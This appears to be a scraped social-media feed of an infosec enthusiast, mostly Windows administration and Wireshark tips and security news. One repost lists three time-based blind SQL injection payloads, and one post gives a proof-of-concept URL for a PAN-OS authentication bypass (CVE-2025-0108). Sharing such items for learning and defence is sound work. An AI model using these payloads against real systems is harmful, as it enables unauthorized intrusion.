0xjamesli

Infosec enthusiast and video game addict 💻🎮

[Movez @0xMovez]

This 30-min workshop by the creator of Claude Code will teach you more about vibe-coding than 100 YouTube video guides.

Bookmark it & give it 30 minutes today. This video will change the way you use Claude forever.

[Francisco Neves @fneves97]

In the latest release of JXScout Pro, I've added support for file system ingestion, allowing you to leverage JXScout's pipeline to analyze JS files from different sources like Chrome Extensions and wayback machine

Docs available here: https://t.co/mn5hXMGkGl

[AlexFx @itzalexfx]

useful wireshark filters

[Behi @Behi_Sec]

My favorite SQL injection payloads:

- 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

- ')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/#

- 1-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)'

I collected these from HackerOne reports.

[0xjamesli @0xjamesli]

802.11 Wi-Fi standards

[0xjamesli @0xjamesli]

CVE-2025-0108
PAN-OS: Authentication Bypass in the Management Web Interface

POC:
https://[IP]/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css

Detailed writeup:
https://t.co/640gvyS7qj

[0xjamesli @0xjamesli]

How to start Wireshark with light mode in Kali:
sudo GTK_THEME=Adwaita wireshark

[0xjamesli @0xjamesli]

Configure added LSA protection for Windows 8.1 or later, or Windows Server 2012 R2 or later.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

To configure the feature with a UEFI variable:
"RunAsPPL"=dword:1

To configure the feature without a UEFI variable, only enforced on Windows 11 build 22H2 and higher:
"RunAsPPL"=dword:2

https://t.co/Ibvs36YCeN

[0xjamesli @0xjamesli]

In Windows, if you map a drive with an elevated prompt (e.g. Administrator), you won't be able to see it with your normal user account. This is expected behavior because of UAC.

There are some workarounds for this, I've tested the registry entry EnableLinkedConnections on Windows Server 2016 and it worked fine for me.

Some folks mentioned that the registry trick does not work for certain Windows 10 releases.

https://t.co/N80JUaXFNZ

[0xjamesli @0xjamesli]

In Windows, remote to local (R2L) and remote to remote (R2R) symbolic links are disabled by default.

When accessing a symbolic link on a file server, you may encounter this error message:
"The symbolic link cannot be followed because its type is disabled."

To fix it, use the following commands to enable R2L or R2R symbolic links:
fsutil behavior set SymlinkEvaluation R2L:1
fsutil behavior set SymlinkEvaluation R2R:1

[OffSec @offsectraining]

CVE-2025-21298 is a no-click, high-risk vulnerability in Windows. Malicious RTF files can execute code remotely just by being previewed in Outlook.

Get the full details and mitigation steps: https://t.co/3HQncnbEiP

[0xjamesli @0xjamesli]

Junction point vs Symbolic link in Windows.

- Junction Points: These are similar to symbolic links but specifically used for directories. Junction points can link to local directories only.

mklink /J C:\link\folder E:\

- Symbolic Links: These can point to directories or files and can link to both local and remote resources.

mklink /D C:\link\folder E:\

- Identify the Link Type

dir /a

Get-ChildItem -Path C:\link\folder -Force | Select-Object LinkType, Target

[0xjamesli @0xjamesli]

@elonmusk Grok seems to have some objections 😂

[0xjamesli @0xjamesli]

@turingpi Build

[0xjamesli @0xjamesli]

@Sakura_botnet 对不起

[0xjamesli @0xjamesli]

@simps_predict 🔥

[0xjamesli @0xjamesli]

Awesome Web Hacking: very useful resource for anyone with to learn on web application security.

https://t.co/UPcjcNBlhO

[0xjamesli @0xjamesli]

Windows exploit suggester
https://t.co/7ahA03Wegv